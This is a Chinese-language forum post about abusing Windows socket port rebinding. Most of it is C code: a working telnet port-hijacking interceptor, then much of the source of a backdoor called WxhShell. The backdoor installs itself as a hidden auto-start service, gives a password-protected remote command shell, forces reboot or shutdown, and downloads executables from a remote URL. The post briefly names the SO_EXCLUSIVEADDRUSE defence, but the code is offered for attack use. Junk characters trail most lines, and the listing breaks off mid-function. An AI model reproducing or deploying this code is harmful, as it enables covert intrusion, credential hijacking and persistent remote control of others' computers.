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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }p~OCW!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bo`Tl1K#  
{=3J/)='  
  saddr.sin_family = AF_INET; 0A;" V'i  
#`W=m N(+k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I eG=J4:*  
)~ 0}Et l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o:2Q2+d  
,E\h!/X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OT%0{2c"]  
]N*L7AVl  
  这意味着什么?意味着可以进行如下的攻击:  _e%dM  
v" }WP34  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (` 5FZgN  
1/B]TT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'E4AV58.  
eR:b=%T8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [SVhtrx|%  
)4l>XlQ&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '|A|vCRCG  
E2@`d6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %$@1FlqX;  
.%=V">R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F{<5aLaYti  
-?s&pKi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yuOS&+,P  
kv6Cp0uFg  
  #include >F1G!#$0  
  #include *G9sy_  
  #include xwRhs!`t1  
  #include    7A5p["?Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U-i.(UyZ  
  int main() QK)){ cK  
  { JB3"EFv  
  WORD wVersionRequested; (n,u|}8Y  
  DWORD ret; j5Qo*p  
  WSADATA wsaData; {7*>Cv}  
  BOOL val; u*3NS$vH  
  SOCKADDR_IN saddr; UtnZNdl v  
  SOCKADDR_IN scaddr; 07V8;A<,  
  int err; ,7W:fwdR  
  SOCKET s; {( #zcK  
  SOCKET sc; o*">KqU`b  
  int caddsize; Dj i^+;"&  
  HANDLE mt; ? B@&#E!/f  
  DWORD tid;   9mlIbEAb  
  wVersionRequested = MAKEWORD( 2, 2 ); JK]R*!{n  
  err = WSAStartup( wVersionRequested, &wsaData ); h.)h@$d  
  if ( err != 0 ) { &(EHq  
  printf("error!WSAStartup failed!\n"); j[I`\"  
  return -1; T*?s@$)m4  
  } V A<5uk04K  
  saddr.sin_family = AF_INET; ?38lHn`FyQ  
   X'f.Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tF*szf|$-  
QT! 4[,4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); glj7$  
  saddr.sin_port = htons(23); O*[{z)M.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xl(@C*.sC1  
  { `s|]"'rX  
  printf("error!socket failed!\n"); <Mx0\b!  
  return -1; [}OgSP9i  
  } nd ink$  
  val = TRUE; F>zl9Vi<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qFco3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hn.bau[  
  { Wy4$*$  
  printf("error!setsockopt failed!\n"); t 42ub  
  return -1; oc7$H>ET1  
  } CS 8jA\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mMSh2B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \\06T `  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :w`3cw Q  
l.`u5D  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g:7,~}_}^  
  { j~E",7Q'  
  ret=GetLastError(); 20b<68h$:  
  printf("error!bind failed!\n"); Fk "Ee&H)(  
  return -1; hoM|P8 }rh  
  } k1^\|   
  listen(s,2); 8'Z:ydj^,  
  while(1) ST5V!jz  
  { -#In;~  
  caddsize = sizeof(scaddr); 'm3t|:nMU  
  //接受连接请求 X T[zj <&_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6KHN&P  
  if(sc!=INVALID_SOCKET) R\mR$\cS  
  { .pPm~2]z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R!(ZMRMn  
  if(mt==NULL) >(r{7Qg  
  { ht=P\E  
  printf("Thread Creat Failed!\n");  R'}95S<  
  break; g13 rx%-  
  } !345 %,  
  } p5\]5bb  
  CloseHandle(mt); x YfD()w<I  
  } GOT1@.Y  
  closesocket(s); yNg9X(U  
  WSACleanup(); G(iJi  
  return 0; ,CvG 20>  
  }   <eN_1NTH_  
  DWORD WINAPI ClientThread(LPVOID lpParam) @%/]Q<<q  
  { j}1zdA  
  SOCKET ss = (SOCKET)lpParam; mYxyWB  
  SOCKET sc; "{D6J809  
  unsigned char buf[4096]; Z[Qza13lo  
  SOCKADDR_IN saddr; '3 33Ctxy  
  long num; 1x)ZB~L  
  DWORD val; %" D%:   
  DWORD ret; ^n1%OzGK#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A#8q2n270*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mLh kI!4[  
  saddr.sin_family = AF_INET; dS2G}L^L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hR#-u1C  
  saddr.sin_port = htons(23); p;T{i._iL  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n DS}^Ba  
  { XV3C`:b  
  printf("error!socket failed!\n"); *N'K/36;  
  return -1; *NFg;<:j  
  } )s_n  
  val = 100; A4C+5R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t.T UmJ  
  { #LlUxHv #  
  ret = GetLastError(); 3_Cp%~Gi-_  
  return -1; VKp*9%9  
  } fhPkEvJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vhbDb)J  
  { O.aG[ wm8  
  ret = GetLastError(); kOO Gw:/  
  return -1; -l~Z0U>^  
  } Vj<:GRNQ,d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e^p +1-B  
  { %nN `|\  
  printf("error!socket connect failed!\n"); 5r~# 0Zf*  
  closesocket(sc); Q;11N7+  
  closesocket(ss); c 'uhK8|  
  return -1; Hy.AyU|L  
  } [^CV>RuO  
  while(1) [.se|]t7X  
  { N`iwC!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PZxAH9 S?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <+MyZM(z>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -fhN"B)  
  num = recv(ss,buf,4096,0); L`f^y;Y.  
  if(num>0) 5oEV-6  
  send(sc,buf,num,0); o#) {1<0vg  
  else if(num==0) x:-.+C%  
  break; !+>v[(OzM  
  num = recv(sc,buf,4096,0); T|J9cgtS  
  if(num>0) :NJ_n6E  
  send(ss,buf,num,0); =_$Qtq+h  
  else if(num==0) ,B?~-2cCz  
  break; Q!- 0xlx  
  } P-F)%T[  
  closesocket(ss); W} WI; cI  
  closesocket(sc); Lbe\@S   
  return 0 ; .2d9?p3Y  
  } :w}{$v}#D;  
T134ZXqqz  
ojYbR<jn9  
========================================================== Xq'cA9v=$J  
EA ]+vq  
下边附上一个代码,,WXhSHELL QaUm1 i#  
? WJ> p  
========================================================== ^` un'5Vk  
S$KFf=0  
#include "stdafx.h" kEwaT$  
~ wg:!VWA)  
#include <stdio.h> X%yO5c\l2  
#include <string.h> ]7-&V-Ct*  
#include <windows.h> F, U*yj  
#include <winsock2.h> SGb;!T *  
#include <winsvc.h> J>fQNW!{  
#include <urlmon.h> +"9hWb5  
UOQEk22  
#pragma comment (lib, "Ws2_32.lib") +)JpUqHa  
#pragma comment (lib, "urlmon.lib") <: &*  
a]Lp?  
#define MAX_USER   100 // 最大客户端连接数 NM ]bgpP  
#define BUF_SOCK   200 // sock buffer zdXkR]  
#define KEY_BUFF   255 // 输入 buffer *JggU  
8DP+W$  
#define REBOOT     0   // 重启 I*9e]m"  
#define SHUTDOWN   1   // 关机 74!oe u.>  
V_plq6z  
#define DEF_PORT   5000 // 监听端口 /cc\fw1+  
o7IxJCL=Q  
#define REG_LEN     16   // 注册表键长度  hi g2  
#define SVC_LEN     80   // NT服务名长度 [+O"<Ua  
GfM;saTz{  
// 从dll定义API j ";2o(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (sVi\R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u2 `b'R9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f~ }H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !i=nSqW  
9UvXC)R1  
// wxhshell配置信息 J2uZmEt  
struct WSCFG { N0#JOu}~  
  int ws_port;         // 监听端口 [@yV!#2  
  char ws_passstr[REG_LEN]; // 口令 =8U&[F  
  int ws_autoins;       // 安装标记, 1=yes 0=no H'Yh2a`!o  
  char ws_regname[REG_LEN]; // 注册表键名  i2~  
  char ws_svcname[REG_LEN]; // 服务名 ^eW}XRI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J\ e+}{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JN7k2]{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !^Q.VYY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @&[T _l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @A)R_p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /x3/Ubmz~x  
l<M'=-Y  
}; hYawU@R  
Ef<b~E@  
// default Wxhshell configuration KK@.~'d  
struct WSCFG wscfg={DEF_PORT, N!*_La=TuH  
    "xuhuanlingzhe", `^lYw:xA  
    1, b!M"VDjQ  
    "Wxhshell", Nj(" |`9"  
    "Wxhshell", fu~ +8CE.  
            "WxhShell Service", Bn>8&w/P  
    "Wrsky Windows CmdShell Service", `a9L%z  
    "Please Input Your Password: ", eb*#'\~'  
  1, ~o n(3|$  
  "http://www.wrsky.com/wxhshell.exe", ayAo^q  
  "Wxhshell.exe" >}(CEzc8  
    }; p !s}=wI `  
! !PYP'e  
// 消息定义模块 #A]-ax?Qc}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k}~O}~-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1bGopi/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GguFo+YeZ  
char *msg_ws_ext="\n\rExit.";   zxp`  
char *msg_ws_end="\n\rQuit."; ^iQn'++Q  
char *msg_ws_boot="\n\rReboot..."; 2)j0Ai%  
char *msg_ws_poff="\n\rShutdown..."; s3W@WH^.  
char *msg_ws_down="\n\rSave to "; {[+2n]f_G  
j(~ *'&|(  
char *msg_ws_err="\n\rErr!"; dDnf^7q/  
char *msg_ws_ok="\n\rOK!"; k__$ Q9qj(  
/T. KbLx~q  
char ExeFile[MAX_PATH]; &N3Y|2  
int nUser = 0; VN%INUi@  
HANDLE handles[MAX_USER]; gzeQ|m2]  
int OsIsNt; >MPr=W%E  
L<fvKmo(fw  
SERVICE_STATUS       serviceStatus; JgHM?AWg|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `U2DkY&n  
Mg^e3D1_  
// 函数声明 Y"KE7>Jf  
int Install(void); umdG(osR  
int Uninstall(void); fHZTXvxoL  
int DownloadFile(char *sURL, SOCKET wsh); n`4K4y%Dy}  
int Boot(int flag); Znetzm=0  
void HideProc(void); cW+t#>' r  
int GetOsVer(void); ^ "\R\COQ  
int Wxhshell(SOCKET wsl); _D|^.)=U|  
void TalkWithClient(void *cs); C)cwAU|h#  
int CmdShell(SOCKET sock); / Wf^hA  
int StartFromService(void); JsotOic%  
int StartWxhshell(LPSTR lpCmdLine); g (#f:"  
}MlwC;ot  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `)QCn<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z)uuxNv[R  
uPniLx\t:  
// 数据结构和表定义 Y[ N^p#t{  
SERVICE_TABLE_ENTRY DispatchTable[] = +S=Rn,  
{ vVE7fq3  
{wscfg.ws_svcname, NTServiceMain}, UQ4% Xp  
{NULL, NULL} nJ" '  
}; d[;.r  
w4fW<ISg  
// 自我安装 +kFxi2L6  
int Install(void) VM0j`bs'K*  
{ gkHNRAL  
  char svExeFile[MAX_PATH]; 77Bgl4P  
  HKEY key; 8| $3OVS  
  strcpy(svExeFile,ExeFile); xzx$TUL  
hI(SOsKs  
// 如果是win9x系统,修改注册表设为自启动 M'!U<Y -  
if(!OsIsNt) { Y F*OU"2U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^gFqRbuS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); is/scv<  
  RegCloseKey(key); gR@C0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'ky b\q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n6k9~"?  
  RegCloseKey(key); h;jIYxj  
  return 0; (#;`"Yu  
    } "kc/J*u-3  
  } M|] "W  
} HEGKX]  
else { P bQk<"J1  
PdVfO8-  
// 如果是NT以上系统,安装为系统服务 9+keX{/c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v 36%Pj`  
if (schSCManager!=0) (L`j0kPN  
{ ;m2<eS`o'  
  SC_HANDLE schService = CreateService CSCN['x  
  ( n>'Kp T9|  
  schSCManager, 7-BvFEM;  
  wscfg.ws_svcname,  H}:LQ~_2  
  wscfg.ws_svcdisp, 4WB-Ec  
  SERVICE_ALL_ACCESS, [= |jZVhT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b pv= %  
  SERVICE_AUTO_START, i.:. Y  
  SERVICE_ERROR_NORMAL, ~i.k$XGA  
  svExeFile, TFcT3]R[rL  
  NULL, \8uIER5)  
  NULL, \Y}3cE  
  NULL, J sEa23  
  NULL, kD}Y|*]5-5  
  NULL #A8@CA^d  
  ); P/`I.p;  
  if (schService!=0) ^#0U  ?9  
  { 7L^%x3-|&  
  CloseServiceHandle(schService); pc?>cs8  
  CloseServiceHandle(schSCManager); sp* Vqd  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4BwQA #zE  
  strcat(svExeFile,wscfg.ws_svcname); w eQYQrN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UswZG^Wh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >YUoh-]`  
  RegCloseKey(key); >*wtbkU  
  return 0; AL5Vu$V~n}  
    } z(\4 M==2O  
  } Oq3A#6~  
  CloseServiceHandle(schSCManager); 0dh=fcb  
} 8 B**8yg.  
} ?i`l[+G  
L_w+y  
return 1; K|oacOF9  
} %e@HZ"V  
Y-0?a?q2Fr  
// 自我卸载 g&n)fF  
int Uninstall(void) t&9A ]<n%,  
{ BW,mwq  
  HKEY key; iS?42CV  
x}twsc`  
if(!OsIsNt) { MfmACd^3$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &x > B  
  RegDeleteValue(key,wscfg.ws_regname); q%5eVG  
  RegCloseKey(key); q:<{% U$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N D<HXO  
  RegDeleteValue(key,wscfg.ws_regname); a5G/[[cwTV  
  RegCloseKey(key); G/v/+oX  
  return 0; B&N/$= 5m  
  } hb{ u'=  
} (8ht*b.5K  
} *SO{\bu  
else { +t2SzQ j>  
V_Wwrhua  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); # 6!5 2  
if (schSCManager!=0) sN("+ sZ.n  
{ B(F,h+ajy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .I@CS>j  
  if (schService!=0) LOTP*Syjf  
  { <40rYr$/J  
  if(DeleteService(schService)!=0) { +D1d=4  
  CloseServiceHandle(schService); wKH ::!  
  CloseServiceHandle(schSCManager); M3~K,$@  
  return 0; /cZ-tSC)o  
  } cT\I[9! )  
  CloseServiceHandle(schService); 6; Y0a4Ax  
  } "k Te2iS  
  CloseServiceHandle(schSCManager); -n0C4kZ2o  
} f7I{WfZ\P  
} 5E0eyW  
4^<6r*  
return 1; %?e(hnM  
} ,E|m.  
$3,ryXp7  
// 从指定url下载文件 d(:3   
int DownloadFile(char *sURL, SOCKET wsh) H'qG/@u-l  
{ p!/[K6u  
  HRESULT hr; S!{t6'8K  
char seps[]= "/"; _sy'.Fo  
char *token; H_?o-L?+  
char *file; CU7F5@+  
char myURL[MAX_PATH]; ^2wLxXO6  
char myFILE[MAX_PATH]; VxzkQ}o  
YJ:3!B>Zo  
strcpy(myURL,sURL); +ki{H}G21  
  token=strtok(myURL,seps); ,&4qgp{)  
  while(token!=NULL) i55x`>]&sb  
  { [&*6_q"V  
    file=token; Ix|~f1*%  
  token=strtok(NULL,seps); '$ef+@y  
  } qOaQxRYm%Y  
0 'Vg6E]/  
GetCurrentDirectory(MAX_PATH,myFILE); s`Cy a`  
strcat(myFILE, "\\"); "G:<7oTa  
strcat(myFILE, file); %{;Qls%[t  
  send(wsh,myFILE,strlen(myFILE),0); 3zT_^;:L  
send(wsh,"...",3,0); |;A/|F0-e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VzJ5.mRQ  
  if(hr==S_OK) U4G}DCU  
return 0; Tg3!Rq55  
else i!~'M;S  
return 1; ""svDfy$  
iE.-FZc  
} )wVIb)`R>Y  
BGr.yEy  
// 系统电源模块 "g+z !4b#  
int Boot(int flag) @u._"/K  
{ *1@:'rJ  
  HANDLE hToken; >5G>D~b  
  TOKEN_PRIVILEGES tkp; C!C|\$)-  
",>H(wJ8  
  if(OsIsNt) { HMY@F_qY`u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ol$WpM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )~jqW=d 2  
    tkp.PrivilegeCount = 1; K) Zlc0e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 71C42=AU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E| :!Q8"%w  
if(flag==REBOOT) { joul<t-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gh6d&ucQ^  
  return 0; !AJ]j|@VBd  
} iqW1#)3'R  
else { $mGvJ*9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (5^ZlOk3  
  return 0; wY"o`o Z  
} ftBq^tC  
  } $<p8TtI=YQ  
  else { h.K(P+h  
if(flag==REBOOT) { YRlDX:oX~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I?Q+9Rmm`J  
  return 0; fa.0I~  
} F>gmj'-^  
else { V^Rkt%JY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tZ2e!<C  
  return 0; D@X+{  
} YDmWN#  
} E2B>b[  
 j<"nO(  
return 1; KjB/.4lLq  
} woq)\;CK  
YxJD_R  
// win9x进程隐藏模块 _{~]/k  
void HideProc(void) G%u9+XV1#  
{ 8&V_$+U  
x|eeRf|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s~26  
  if ( hKernel != NULL ) +CM7C%U   
  { djT5 X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d77r9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -v?hqWMp#  
    FreeLibrary(hKernel); 7t-Lz| $"  
  } ^%y`u1ab  
{F|48P;J  
return; .I$}KE)  
} H;WY!X$x  
f+vVR1  
// 获取操作系统版本 GJ 'spgz  
int GetOsVer(void) u1K\@jlw  
{ 0=v{RQ;W4  
  OSVERSIONINFO winfo; *Dr5O9Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +pqM ^3t|y  
  GetVersionEx(&winfo); pJ, @Y>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ED} 31L  
  return 1; K X]oE+:  
  else > 8]j  
  return 0; rn.\tDeA  
} cy~oPj]j  
=FW5Tkw0  
// 客户端句柄模块 AW5iV3  
int Wxhshell(SOCKET wsl) y,+[$u7h  
{ DlE_W+F  
  SOCKET wsh; e<gx~N9l'  
  struct sockaddr_in client; U=Bn>F}y\  
  DWORD myID; >qT'z$  
klWYuStZ  
  while(nUser<MAX_USER) k5+]SG`]]  
{ ;BH>3VK  
  int nSize=sizeof(client); J7-^F)lu-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n<V1|X  
  if(wsh==INVALID_SOCKET) return 1; Gk~l,wV>  
1K|@ h&@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g?q KNY  
if(handles[nUser]==0) %Ny) ?B  
  closesocket(wsh); FuP/tTMU1a  
else #I`ms$j%  
  nUser++; 'b:Ne,<  
  } dYOF2si~%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .6T6 S v  
lWy=)^)4  
  return 0; s ?l%L!  
} zREJ#r  
B!aK  
// 关闭 socket  YRB%:D@u  
void CloseIt(SOCKET wsh) Fm j=  
{ ]@xL=%   
closesocket(wsh); |Svk^mq  
nUser--; #A <1aQ  
ExitThread(0); &A50'8B2A  
} #GqTqHNE<  
"2HY5 AE  
// 客户端请求句柄 4?]oV%aP)  
void TalkWithClient(void *cs) T<jfAE  
{ wFlV=!>,  
DOL%'k?B  
  SOCKET wsh=(SOCKET)cs; Sw! j=`O  
  char pwd[SVC_LEN]; !eD+GDgE]  
  char cmd[KEY_BUFF]; L{ ^4DznI  
char chr[1]; , &' Y  
int i,j; =v"xmx&4  
hH+bt!aH  
  while (nUser < MAX_USER) { _GbE ^  
Z^tGu7x  
if(wscfg.ws_passstr) { ]O!s 'lC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fCEz-TMW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CD?&<NV  
  //ZeroMemory(pwd,KEY_BUFF); (M% ;~y\  
      i=0; rH}fLu8,;Q  
  while(i<SVC_LEN) { C%H9[%k  
C*wdtEGq  
  // 设置超时 kN'Thq/ZE  
  fd_set FdRead; Mz|L-62  
  struct timeval TimeOut; 6 nGY^  
  FD_ZERO(&FdRead); cNP/<8dq  
  FD_SET(wsh,&FdRead); 0P 5BArJ?  
  TimeOut.tv_sec=8; kP,7Li\  
  TimeOut.tv_usec=0; :Z2tig nL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YQ,tt<CQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); By)3*<5a_  
]O@"\_}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +0#JnqH"  
  pwd=chr[0]; Hql5oA  
  if(chr[0]==0xd || chr[0]==0xa) { `facFt[\  
  pwd=0; {fG|_+tl3o  
  break; aV|k}H{wt  
  } Ku%6$C!,  
  i++; |>s v8/!  
    } 44C+h    
Fd !iQ  
  // 如果是非法用户,关闭 socket >rRf9wO1l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H%.zXQ4}n  
} |[w^eg  
^HFo3V }h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iK x+6v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DPPS?~Pq  
( Yi=v'd  
while(1) { ^]rxhpS  
h;n\*[fDc  
  ZeroMemory(cmd,KEY_BUFF); ]%XK)[:5_=  
'?}R4w|)  
      // 自动支持客户端 telnet标准   tP]q4i  
  j=0; ^-L{/'[8M  
  while(j<KEY_BUFF) { rsSue_Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p+D=}O  
  cmd[j]=chr[0]; b{HhS6<K?  
  if(chr[0]==0xa || chr[0]==0xd) { 1jOKcm'#  
  cmd[j]=0; y*KC*/'"  
  break; PdM*5g4  
  } '(9YB9 i  
  j++; 6e:P.HqjA  
    } |F~88j{VN  
T:#S86m  
  // 下载文件 k.>6nho`TV  
  if(strstr(cmd,"http://")) { l4 `^!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  ("F)  
  if(DownloadFile(cmd,wsh)) Kfd_uXL>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  tJ1-DoU  
  else 4.k`[q8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nhT;b,G.Z  
  } z.59]\;U>  
  else { : ~'Z(-a  
S2}Z&X(  
    switch(cmd[0]) { ZV#$Z  
  4@~a<P#  
  // 帮助 afy/K'~  
  case '?': { SEU\}Ni{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }MjQP R  
    break; O"QHb|j  
  } SauHFl8?  
  // 安装 {tmKCG  
  case 'i': { ,]U[W  
    if(Install()) GRQ_+K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n>T:2PQ3  
    else |Pf(J;'[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D@5s8xv  
    break; M4H"].Zm  
    } i?W]*V~ply  
  // 卸载 Ut':$l=  
  case 'r': { ~%KM3Vap  
    if(Uninstall()) 9RB`$5F ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '2wCP EC  
    else -4%]QS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <4sj@C  
    break; n`QO(pZ6+  
    } \AHY[WKx  
  // 显示 wxhshell 所在路径 ,M{Q}:$+4  
  case 'p': { Rj&qh`  
    char svExeFile[MAX_PATH]; 'oCm.~;_  
    strcpy(svExeFile,"\n\r"); 2b!j.T#u  
      strcat(svExeFile,ExeFile); Y^X:vI  
        send(wsh,svExeFile,strlen(svExeFile),0); Np)ho8zU  
    break; RCCv>o  
    } qTS @D  
  // 重启 T(&kXMaB  
  case 'b': { qlEFJ5;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E{I) ]h  
    if(Boot(REBOOT)) y,^";7U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gs-@hR.,s0  
    else { !4pr{S  
    closesocket(wsh); Gb?g,>C  
    ExitThread(0); uX98iJ  
    } EM=xd~H  
    break; $wgc vySx  
    } E0T&GR@.  
  // 关机  ?;+^  
  case 'd': { ,FY-d$3)  
